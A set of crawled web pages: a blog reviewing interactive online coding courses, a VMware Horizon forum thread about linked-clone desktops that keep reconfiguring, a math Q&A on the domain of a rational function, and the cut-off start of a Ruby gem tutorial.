{ "url": "http://www.go4expert.com/printthread.php?t=509", "source_domain": "www.go4expert.com", "snapshot_id": "crawl=CC-MAIN-2015-35", "warc_metadata": { "Content-Length": "6759", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:XYXQ7RYL3JGE6LWX2KB4N2Z7L7SYHIFD", "WARC-Concurrent-To": "<urn:uuid:001e7a85-b8c5-475a-9979-f059d1167b59>", "WARC-Date": "2015-09-05T16:40:01Z", "WARC-IP-Address": "173.230.137.46", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:5UW4HHJ3AECI2PO2OQ7ZTONAXINO7NKJ", "WARC-Record-ID": "<urn:uuid:fda1f1e7-c978-4049-9f19-72a90fec462e>", "WARC-Target-URI": "http://www.go4expert.com/printthread.php?t=509", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:78e87adf-e8b1-40f9-a503-7ef461ec6c58>" }, "warc_info": "robots: classic\r\nhostname: ip-10-171-96-226.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for August 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 10, 11, 49, 137, 215, 216, 244, 245, 260, 262, 288, 362, 425, 485, 486, 558, 559, 577, 578, 601, 619, 624, 642, 643, 666, 684, 689, 707, 708, 731, 749, 754, 772, 773, 796, 814, 819, 837, 838, 867, 883, 885, 886, 912, 966, 1074, 1075, 1099, 1100, 1119, 1121, 1237, 1238, 1247, 1253, 1254, 1274, 1299, 1302, 1326, 1356, 1360, 1433, 1443, 1470, 1512, 1527, 1569, 1579, 1582, 1584, 1608, 1637, 1638, 1639, 1660, 1661, 1662, 1691, 1692, 1720, 1721, 1740, 1742, 1765, 1766, 1821, 1822, 1914, 1915, 2004, 2093, 2094, 2095 ], "line_end_idx": [ 10, 11, 49, 137, 215, 216, 244, 245, 260, 262, 288, 362, 425, 485, 486, 558, 559, 577, 578, 601, 619, 624, 642, 643, 666, 684, 689, 707, 708, 731, 749, 754, 772, 773, 796, 814, 819, 837, 838, 867, 883, 885, 886, 912, 966, 1074, 1075, 1099, 1100, 1119, 1121, 1237, 1238, 1247, 1253, 1254, 1274, 1299, 1302, 1326, 1356, 1360, 1433, 1443, 1470, 1512, 1527, 1569, 1579, 1582, 1584, 1608, 1637, 1638, 1639, 1660, 1661, 1662, 1691, 1692, 1720, 1721, 1740, 1742, 1765, 1766, 1821, 1822, 1914, 1915, 2004, 2093, 2094, 2095, 2141 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2141, "ccnet_original_nlines": 94, "rps_doc_curly_bracket": 0.004203639924526215, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3105263113975525, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.028070179745554924, "rps_doc_frac_lines_end_with_ellipsis": 0.010526319965720177, "rps_doc_frac_no_alph_words": 0.42456141114234924, "rps_doc_frac_unique_words": 0.5570934414863586, "rps_doc_mean_word_length": 4.972318172454834, "rps_doc_num_sentences": 35, "rps_doc_symbol_to_word_ratio": 0.0035087699070572853, "rps_doc_unigram_entropy": 4.790835380554199, "rps_doc_word_count": 289, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.018093250691890717, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.017397360876202583, "rps_doc_frac_chars_top_3gram": 0.01948503963649273, "rps_doc_frac_chars_top_4gram": 0.03061934933066368, "rps_doc_books_importance": -298.0991516113281, "rps_doc_books_importance_length_correction": -298.0991516113281, "rps_doc_openwebtext_importance": -183.4706573486328, "rps_doc_openwebtext_importance_length_correction": -183.4706573486328, "rps_doc_wikipedia_importance": -130.30801391601562, "rps_doc_wikipedia_importance_length_correction": -130.30801391601562 }, "fasttext": { "dclm": 0.023483220487833023, "english": 0.7004643678665161, "fineweb_edu_approx": 1.9947617053985596, "eai_general_math": 0.031356390565633774, "eai_open_web_math": 0.5050138235092163, "eai_web_code": 0.9956927299499512 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "6", "label": "Indeterminate" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,899,124,259,251,519,500
Free weekend on CodeSchool! 19 11 2016 Get off from beaten track with new technology you always wanted to learn – CodeSchool.com gives free access to all its courses over this weekend!  Try it: https://www.codeschool.com/free-weekend There are several courses that takes 2 to 4 hours to attend so no excuses :) Advertisements Online ‘learning-by-doing’ courses I attended – was it worth the money? 22 10 2016 There are more and more online courses available. The ‘Learning by doing’ are in my particular interest. Here I want to: – list the courses or sites I attended and write a short summary – know the same from your side – feel free to add your thoughts on online courses.   Where I have been Znalezione obrazy dla zapytania linux academy About: Linux Academy is about the Ops part of software development. It teaches basics and advanced concepts of clouds, infrastructure automation, containers and so on. Good? yes. Currently I am during the Ansible course and I recommend it. Why? There are short lectures and so called ‘server lab’ where you can create up to six cloud servers and do all the exercises on them. Why not? n/a   Code School About: For learning web development (HTML, JS, CSS). Starting from real basics to advanced Topics. Good? yes. I did HTML, JS and CSS (partially also git). JS starts from real basics but ends with quite important advanced topics. Why? You have code editor online, so you do all the exercises online, have instant feedback Why not? Maybe first you’d like to try CodeAcademy (below) which is free.   About: For web development basics Good? yes, as a starting point. If you need more advanced topics, go to CodeSchool Why? Its free and good. Exercises and course is held in a browser Why not? if you need advanced topics, go to CodeSchool.   Znalezione obrazy dla zapytania industrial logic About: Courses teaching Design Patterns, Refactorings, Code Smells detection for Object Oriented Languages. Advanced topics for practitioners. Good? yes. The exercises you do on your IDE with their plugin installed. Plugin traces all your steps on doing the exercises and provides you with the feedback assessing not only your result but also the style you’ve reached it – I liked the feedback Why? Practical application of refactoring techniques, Design Patterns with automated IDE refactorings / shortcuts Why not? very expensive!   Znalezione obrazy dla zapytania coursera About: various set of courses, not only for developers. I did only the Scala course there. Good? yes, but probably depends on course. Scala course was well prepared, with practical exercises in your IDE Why? free site, with a lot of courses. You can always start doing one. Coursera has schedule so encourages you to regular attendance Why not? n/a   Where I haven’t been Treehouse, lynda, pluralsight, edX. But are they even interactive courses or just a set of video tutorials? Let me hear from you! Online coding courses on CodeAcademy and CodeSchool 22 03 2014 Coding is not to be learned by reading books and knowing theory, but by coding in practice. There are coding courses on these sites, however the real experience can be gathered on interactive coding lessons when you learn by doing coding. Sites that have it are CodeAcademy (free) and CodeSchool (free trials, paid when accessing more courses). How does it work? The idea is to code during course. User gets short instructions and explanations and can write code to see how it really works. When something gone wrong with his code, he is instructed how to fix it. The learning windows looks as follows: codelesson My progress  I am running the CodeAcademy courses on JavaScript, HTML & CSS and jQuery. Although I started using these technologies some time ago, it was good to neaten my knowledge. I have to admit that JavaScript course starts with basics, so the interesting part started after passing 50% of it :) Here is my current progress right now: progress Coursera & edX: take online courses for free 6 04 2013 There is plenty of various tutorials, videos and training materials on the web, however finding the one concise and valuable course may be difficult. Coursera Coursera is a place where you can find courses of many kinds: Arts, Economy, Education, IT and many more. Coursera These are organized and scheduled lectures with new lecture published weekly. All of them define how much time per week you need to devote (mostly it is about 4-6 hours per week). Courses are held by universities and experts. One of the best categories is Information, Tech and Design for UX experts. Some interesting courses are: Human – Computer Interaction (9weeks), Gamification (6 weeks) and Information Theory (15 weeks). All of them are totally free. edX The same applies to edX – a lot of world class academies and universities. edX Wide range of topics is surely tempting, however I did not try these courses. Some examples are: Software as a Service from Berkeley or The Challenges of Global Poverty from MIT.  Do you like my blog? I manage this blog and share my knowledge for free sacrificing my time. If you appreciate it and find this information helpful, please consider making a donation in order to keep this page alive and improve quality Donate Button with Credit Cards Thank You! %d bloggers like this:
{ "url": "https://looksok.wordpress.com/tag/courses/", "source_domain": "looksok.wordpress.com", "snapshot_id": "crawl=CC-MAIN-2018-09", "warc_metadata": { "Content-Length": "89934", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:LEMBWXXLSLRCEM7DODJQH5TBYHO4QOZ6", "WARC-Concurrent-To": "<urn:uuid:a8e89e1f-1869-469a-a283-23e0d0d3b8f6>", "WARC-Date": "2018-02-21T13:13:11Z", "WARC-IP-Address": "192.0.78.12", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:ZSZNEDZRYQG23PTRCJKJ45S2TISERA4T", "WARC-Record-ID": "<urn:uuid:5bee666f-5d11-4125-b498-61156fca653f>", "WARC-Target-URI": "https://looksok.wordpress.com/tag/courses/", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:edc7e61d-a01f-4ff0-8ee2-5926cd6def26>" }, "warc_info": "robots: classic\r\nhostname: ip-10-164-50-22.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-09\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for February 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 1, 29, 30, 41, 42, 189, 190, 238, 239, 316, 317, 332, 333, 334, 335, 336, 408, 409, 420, 421, 542, 543, 608, 609, 692, 693, 695, 696, 714, 715, 761, 762, 930, 931, 1003, 1004, 1140, 1141, 1154, 1155, 1157, 1158, 1170, 1171, 1270, 1271, 1401, 1402, 1494, 1495, 1569, 1570, 1572, 1573, 1607, 1608, 1691, 1692, 1758, 1759, 1815, 1816, 1818, 1819, 1868, 1869, 2012, 2013, 2264, 2265, 2379, 2380, 2405, 2406, 2408, 2409, 2450, 2451, 2542, 2543, 2655, 2656, 2789, 2790, 2803, 2804, 2806, 2807, 2828, 2829, 2959, 2960, 2961, 2962, 2963, 2964, 3016, 3017, 3028, 3029, 3268, 3269, 3375, 3376, 3394, 3395, 3635, 3636, 3647, 3660, 3661, 3988, 3989, 3998, 3999, 4000, 4001, 4002, 4003, 4048, 4049, 4059, 4060, 4210, 4211, 4220, 4221, 4327, 4328, 4337, 4338, 4766, 4767, 4797, 4798, 4802, 4803, 4878, 4879, 4883, 4884, 5064, 5065, 5086, 5301, 5302, 5334, 5335, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354 ], "line_end_idx": [ 1, 29, 30, 41, 42, 189, 190, 238, 239, 316, 317, 332, 333, 334, 335, 336, 408, 409, 420, 421, 542, 543, 608, 609, 692, 693, 695, 696, 714, 715, 761, 762, 930, 931, 1003, 1004, 1140, 1141, 1154, 1155, 1157, 1158, 1170, 1171, 1270, 1271, 1401, 1402, 1494, 1495, 1569, 1570, 1572, 1573, 1607, 1608, 1691, 1692, 1758, 1759, 1815, 1816, 1818, 1819, 1868, 1869, 2012, 2013, 2264, 2265, 2379, 2380, 2405, 2406, 2408, 2409, 2450, 2451, 2542, 2543, 2655, 2656, 2789, 2790, 2803, 2804, 2806, 2807, 2828, 2829, 2959, 2960, 2961, 2962, 2963, 2964, 3016, 3017, 3028, 3029, 3268, 3269, 3375, 3376, 3394, 3395, 3635, 3636, 3647, 3660, 3661, 3988, 3989, 3998, 3999, 4000, 4001, 4002, 4003, 4048, 4049, 4059, 4060, 4210, 4211, 4220, 4221, 4327, 4328, 4337, 4338, 4766, 4767, 4797, 4798, 4802, 4803, 4878, 4879, 4883, 4884, 5064, 5065, 5086, 5301, 5302, 5334, 5335, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354, 5376 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5376, "ccnet_original_nlines": 157, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.37712666392326355, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.028355389833450317, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17674857378005981, "rps_doc_frac_unique_words": 0.4298642575740814, "rps_doc_mean_word_length": 4.779411792755127, "rps_doc_num_sentences": 75, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.440098762512207, "rps_doc_word_count": 884, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.013254440389573574, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.008284020237624645, "rps_doc_frac_chars_top_3gram": 0.01349112018942833, "rps_doc_frac_chars_top_4gram": 0.019881660118699074, "rps_doc_books_importance": -553.8800048828125, "rps_doc_books_importance_length_correction": -553.8800048828125, "rps_doc_openwebtext_importance": -320.7547607421875, "rps_doc_openwebtext_importance_length_correction": -320.7547607421875, "rps_doc_wikipedia_importance": -226.68118286132812, "rps_doc_wikipedia_importance_length_correction": -226.68118286132812 }, "fasttext": { "dclm": 0.03162484988570213, "english": 0.9279638528823853, "fineweb_edu_approx": 1.8081800937652588, "eai_general_math": 0.08521783351898193, "eai_open_web_math": 0.11657077074050903, "eai_web_code": 0.13227123022079468 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.0151", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "378.166", "labels": { "level_1": "Social sciences", "level_2": "Education", "level_3": "Education, Higher and Universities and colleges" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "9", "label": "Personal/Misc" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "6", "label": "Content Listing" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,055,122,675,649,520,400
aymanshawarby Contributor Contributor VMware horizon 7 desktop pool machine reconfigure Dea all, I am facing an up normal behavior which is that i have 1 of my VDI pool's machines reconfigure every 1 or 2 minutes without stop. The reconfigure success but it keep happening. The pool is a linked clone pool, on horizon 7 with vsphere and esxi version 6. I got in the vsphere 2 events: Task: Reconfigure virtual Machine. Reconfigure virtual machine Reconfigure MACHINE NAME on HOST IP in DOMAIN Please need your advice how to know the root cause of the issue so i can fix it. Tags (2) 0 Kudos 3 Replies mittim12 Immortal Immortal Do you have anything enabled in that pool that may not be enabled in any of the other pools.   Something like storage accelerator?  0 Kudos paulmike3 Enthusiast Enthusiast Have this same issue but slightly different environment currently. It's persisted across several upgrades.  I'd love to know what's causing it because hundreds of machines re-configuring all the time balloons log files immensely. Currently: Horizon 6.2.0, vSphere 6.0U1, persistent VMs, automated pools. Previously: Horizon 6.0.1, vSphere 5.1 0 Kudos ENSANantes Contributor Contributor Same for me horizon 7 +vsphere 5.5 vsphere 6.5 solve the problem ? 0 Kudos
{ "url": "https://communities.vmware.com/t5/Horizon-Desktops-and-Apps/VMware-horizon-7-desktop-pool-machine-reconfigure/m-p/1412838", "source_domain": "communities.vmware.com", "snapshot_id": "crawl=CC-MAIN-2022-27", "warc_metadata": { "Content-Length": "232574", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:HINFPQT7SSRLOA3VMB5TPYSLHV3ZRZWY", "WARC-Concurrent-To": "<urn:uuid:983bd477-b5ac-4c87-a27f-a2c6f1cf2099>", "WARC-Date": "2022-07-04T13:20:36Z", "WARC-IP-Address": "99.84.191.62", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:B5TFF6WPMKMTI2EVM6ULZY5WVOBFP4TW", "WARC-Record-ID": "<urn:uuid:3ae2ef87-0078-4eda-9bda-2dd26cf4d06b>", "WARC-Target-URI": "https://communities.vmware.com/t5/Horizon-Desktops-and-Apps/VMware-horizon-7-desktop-pool-machine-reconfigure/m-p/1412838", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:5d86d2e8-4bb8-4bf2-a263-0695982d9bfe>" }, "warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-87\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 14, 26, 38, 39, 89, 90, 99, 100, 277, 278, 357, 358, 389, 390, 425, 426, 500, 501, 582, 583, 592, 600, 610, 619, 628, 637, 638, 770, 771, 779, 789, 800, 811, 812, 1042, 1043, 1117, 1118, 1157, 1158, 1166, 1177, 1189, 1201, 1202, 1214, 1215, 1238, 1239, 1271, 1272 ], "line_end_idx": [ 14, 26, 38, 39, 89, 90, 99, 100, 277, 278, 357, 358, 389, 390, 425, 426, 500, 501, 582, 583, 592, 600, 610, 619, 628, 637, 638, 770, 771, 779, 789, 800, 811, 812, 1042, 1043, 1117, 1118, 1157, 1158, 1166, 1177, 1189, 1201, 1202, 1214, 1215, 1238, 1239, 1271, 1272, 1279 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1279, "ccnet_original_nlines": 51, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.30588236451148987, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03921569138765335, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2549019455909729, "rps_doc_frac_unique_words": 0.6470588445663452, "rps_doc_mean_word_length": 4.970588207244873, "rps_doc_num_sentences": 21, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.675400733947754, "rps_doc_word_count": 204, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.023668639361858368, "rps_doc_frac_chars_top_3gram": 0.049309659749269485, "rps_doc_frac_chars_top_4gram": 0.0710059180855751, "rps_doc_books_importance": -137.02096557617188, "rps_doc_books_importance_length_correction": -137.02096557617188, "rps_doc_openwebtext_importance": -87.68327331542969, "rps_doc_openwebtext_importance_length_correction": -87.68327331542969, "rps_doc_wikipedia_importance": -51.53795623779297, "rps_doc_wikipedia_importance_length_correction": -51.53795623779297 }, "fasttext": { "dclm": 0.04047363996505737, "english": 0.8375686407089233, "fineweb_edu_approx": 1.1368776559829712, "eai_general_math": 0.02706778049468994, "eai_open_web_math": 0.09592598676681519, "eai_web_code": 0.006644729990512133 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.1622", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.44", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,175,059,434,241,556,200
We use cookies to personalise content and advertisements and to analyse access to our website. Furthermore, our partners for online advertising receive pseudonymised information about your use of our website. cookie policy and privacy policy.   +0     +3 82 2 avatar+979  How many real numbers are not in the domain of the function\(f(x) = \frac{1}{x-64} + \frac{1}{x^2-64} + \frac{1}{x^3-64}\)?     EDIT: What I've tried: -Making an X-Y table -using DESMOS -Asking Tutor(who said try an x-y table) -Asking mom -Looking it up online -Sleeping on it   Torquise= not really helpful in my experience  Jul 1, 2019 edited by tommarvoloriddle  Jul 1, 2019 edited by tommarvoloriddle  Jul 1, 2019  #1 avatar+5589  +3 \(\text{No dividing by zero. So }\\ x=64, ~x = \pm 8,~x = 4\\ \text{are all excluded from the domain}\) .  Jul 1, 2019  #2 avatar+979  +5 :) Thank You! tommarvoloriddle  Jul 1, 2019 4 Online Users avatar
{ "url": "https://web2.0calc.com/questions/help-please_95130", "source_domain": "web2.0calc.com", "snapshot_id": "crawl=CC-MAIN-2019-35", "warc_metadata": { "Content-Length": "22916", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:K6ARZ3DRNMBJXD4DMHH4CH2Z2XEHLTP3", "WARC-Concurrent-To": "<urn:uuid:5ad3cafc-20a3-4ad4-b6a8-54a87bca69d9>", "WARC-Date": "2019-08-17T11:50:29Z", "WARC-IP-Address": "144.76.186.3", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:PT3QESXPQUGUQ3RNZI33JDAPJYB22HI2", "WARC-Record-ID": "<urn:uuid:ae79c65b-14be-40b5-8cf0-8892ed131fe8>", "WARC-Target-URI": "https://web2.0calc.com/questions/help-please_95130", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:1b640ba2-0bd7-4203-815a-da1d84f56889>" }, "warc_info": "isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-120.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 243, 245, 250, 252, 255, 258, 260, 272, 273, 397, 398, 400, 401, 403, 404, 427, 428, 449, 450, 464, 465, 506, 507, 519, 520, 542, 543, 559, 560, 562, 563, 609, 610, 623, 663, 703, 707, 720, 723, 724, 828, 829, 831, 844, 848, 860, 863, 864, 878, 879, 909, 910, 925, 926 ], "line_end_idx": [ 243, 245, 250, 252, 255, 258, 260, 272, 273, 397, 398, 400, 401, 403, 404, 427, 428, 449, 450, 464, 465, 506, 507, 519, 520, 542, 543, 559, 560, 562, 563, 609, 610, 623, 663, 703, 707, 720, 723, 724, 828, 829, 831, 844, 848, 860, 863, 864, 878, 879, 909, 910, 925, 926, 932 ] }
{ "red_pajama_v2": { "ccnet_original_length": 932, "ccnet_original_nlines": 54, "rps_doc_curly_bracket": 0.017167380079627037, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.23404255509376526, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.021276600658893585, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.4510638415813446, "rps_doc_frac_unique_words": 0.6811594367027283, "rps_doc_mean_word_length": 4.76086950302124, "rps_doc_num_sentences": 8, "rps_doc_symbol_to_word_ratio": 0.008510639891028404, "rps_doc_unigram_entropy": 4.394769668579102, "rps_doc_word_count": 138, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.10958904027938843, "rps_doc_frac_chars_dupe_6grams": 0.10958904027938843, "rps_doc_frac_chars_dupe_7grams": 0.10958904027938843, "rps_doc_frac_chars_dupe_8grams": 0.10958904027938843, "rps_doc_frac_chars_dupe_9grams": 0.10958904027938843, "rps_doc_frac_chars_top_2gram": 0.030441399663686752, "rps_doc_frac_chars_top_3gram": 0.060882799327373505, "rps_doc_frac_chars_top_4gram": 0.10958904027938843, "rps_doc_books_importance": -121.8581314086914, "rps_doc_books_importance_length_correction": -121.8581314086914, "rps_doc_openwebtext_importance": -84.72840881347656, "rps_doc_openwebtext_importance_length_correction": -72.7946548461914, "rps_doc_wikipedia_importance": -61.899085998535156, "rps_doc_wikipedia_importance_length_correction": -61.899085998535156 }, "fasttext": { "dclm": 0.02002716064453125, "english": 0.7384337186813354, "fineweb_edu_approx": 0.9147096872329712, "eai_general_math": 0.012569010257720947, "eai_open_web_math": 0.19297128915786743, "eai_web_code": -0.000007870000445109326 } }
{ "free_decimal_correspondence": { "primary": { "code": "512", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Algebra" } }, "secondary": { "code": "515", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Calculus and Mathematical analysis" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
1,550,861,294,413,709,300
Create your first Ruby Gem and release it to Gemcutter Apr 2010 A few days ago I was set off to create my first RubyGem. There are many resources on how to do this, but it took me a good while to gather all the information I figured I’d need for my application, so I’ve decided to gather my bit of knowledge in this article. This article’s goal is kick start the creation of your first Gem. To make this experience more enjoyable, I’ve chosen to use a gem called Jeweler. Note: I am by no means a “ruby-pro”. I have only created a single Gem, but I thought this article could be helpful to a lot of people, and thus I wrote it. If you have any corrections, questions, or suggestions please either email me at [email protected] or comment below. Preparing .. for world domination! I assume you already know a bit of Ruby, that you know what RubyGems is, and you have already downloaded a few gems, and used some of them in your work. Now your are simply seeking to create your own Gems. You are indeed in for a 